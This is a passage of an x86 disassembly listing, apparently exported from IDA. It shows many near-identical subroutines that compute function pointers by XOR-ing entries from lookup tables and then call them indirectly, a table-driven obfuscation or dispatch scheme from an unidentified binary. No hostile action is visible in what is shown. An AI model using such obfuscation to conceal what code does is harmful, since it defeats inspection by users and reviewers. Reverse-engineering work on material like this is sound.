mov [ebp+var_30], 35h
mov [ebp+var_2C], 0ACh
mov [ebp+var_28], 7Fh
mov [ebp+var_24], 9Dh
mov [ebp+var_20], 25h
mov [ebp+var_1C], 43h
mov [ebp+var_18], 8Ah
mov [ebp+var_14], 89h
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A653A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A653A: ; CODE XREF: sub_4A64A9+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A64A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A65A6 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED904o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 2
mov [ebp+var_2C], 9Eh
mov [ebp+var_28], 21h
mov [ebp+var_24], 0C5h
mov [ebp+var_20], 0Ah
mov [ebp+var_1C], 27h
mov [ebp+var_18], 93h
mov [ebp+var_14], 0B6h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6637
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6637: ; CODE XREF: sub_4A65A6+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A65A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A66A3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED908o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 44h
mov [ebp+var_2C], 0FAh
mov [ebp+var_28], 0Fh
mov [ebp+var_24], 5Ch
mov [ebp+var_20], 54h
mov [ebp+var_1C], 25h
mov [ebp+var_18], 19h
mov [ebp+var_14], 4Dh
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6734
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6734: ; CODE XREF: sub_4A66A3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A66A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A67A0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED90Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C7h
mov [ebp+var_2C], 0F0h
mov [ebp+var_28], 4Dh
mov [ebp+var_24], 8
mov [ebp+var_20], 0E3h
mov [ebp+var_1C], 0B4h
mov [ebp+var_18], 4Ah
mov [ebp+var_14], 8Ah
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6831
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6831: ; CODE XREF: sub_4A67A0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A67A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A689D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED910o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 40h
mov [ebp+var_2C], 0C7h
mov [ebp+var_28], 0E7h
mov [ebp+var_24], 29h
mov [ebp+var_20], 0EEh
mov [ebp+var_1C], 9Eh
mov [ebp+var_18], 0
mov [ebp+var_14], 0EFh
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A692E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A692E: ; CODE XREF: sub_4A689D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A689D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A699A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED914o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A0h
mov [ebp+var_2C], 0B1h
mov [ebp+var_28], 0FBh
mov [ebp+var_24], 39h
mov [ebp+var_20], 6Bh
mov [ebp+var_1C], 9Ah
mov [ebp+var_18], 0DEh
mov [ebp+var_14], 2Ah
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6A2A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6A2A: ; CODE XREF: sub_4A699A+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A699A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A6A96 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED918o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0EAh
mov [ebp+var_2C], 0Bh
mov [ebp+var_28], 0F6h
mov [ebp+var_24], 0EEh
mov [ebp+var_20], 0CAh
mov [ebp+var_1C], 0B2h
mov [ebp+var_18], 0DAh
mov [ebp+var_14], 0EDh
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6B27
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6B27: ; CODE XREF: sub_4A6A96+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A6A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A6B93 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED91Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0Bh
mov [ebp+var_2C], 0F0h
mov [ebp+var_28], 85h
mov [ebp+var_24], 6Eh
mov [ebp+var_20], 0B2h
mov [ebp+var_1C], 34h
mov [ebp+var_18], 0AEh
mov [ebp+var_14], 63h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6C23
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6C23: ; CODE XREF: sub_4A6B93+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A6B93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A6C8F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED920o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 23h
mov [ebp+var_2C], 22h
mov [ebp+var_28], 26h
mov [ebp+var_24], 0Eh
mov [ebp+var_20], 52h
mov [ebp+var_1C], 58h
mov [ebp+var_18], 2
mov [ebp+var_14], 0B2h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6D20
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6D20: ; CODE XREF: sub_4A6C8F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A6C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A6D8C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED924o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3Bh
mov [ebp+var_2C], 1Dh
mov [ebp+var_28], 0Ah
mov [ebp+var_24], 96h
mov [ebp+var_20], 47h
mov [ebp+var_1C], 53h
mov [ebp+var_18], 45h
mov [ebp+var_14], 8Ch
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6E1D
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6E1D: ; CODE XREF: sub_4A6D8C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A6D8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A6E89 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED928o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Dh
mov [ebp+var_2C], 86h
mov [ebp+var_28], 32h
mov [ebp+var_24], 89h
mov [ebp+var_20], 0C6h
mov [ebp+var_1C], 0DBh
mov [ebp+var_18], 75h
mov [ebp+var_14], 0F7h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A6F1A
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A6F1A: ; CODE XREF: sub_4A6E89+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A6E89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A6F86 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED92Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DBh
mov [ebp+var_2C], 0FAh
mov [ebp+var_28], 0EEh
mov [ebp+var_24], 5Fh
mov [ebp+var_20], 0BDh
mov [ebp+var_1C], 84h
mov [ebp+var_18], 1Fh
mov [ebp+var_14], 0F8h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7017
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7017: ; CODE XREF: sub_4A6F86+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A6F86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7083 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED930o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
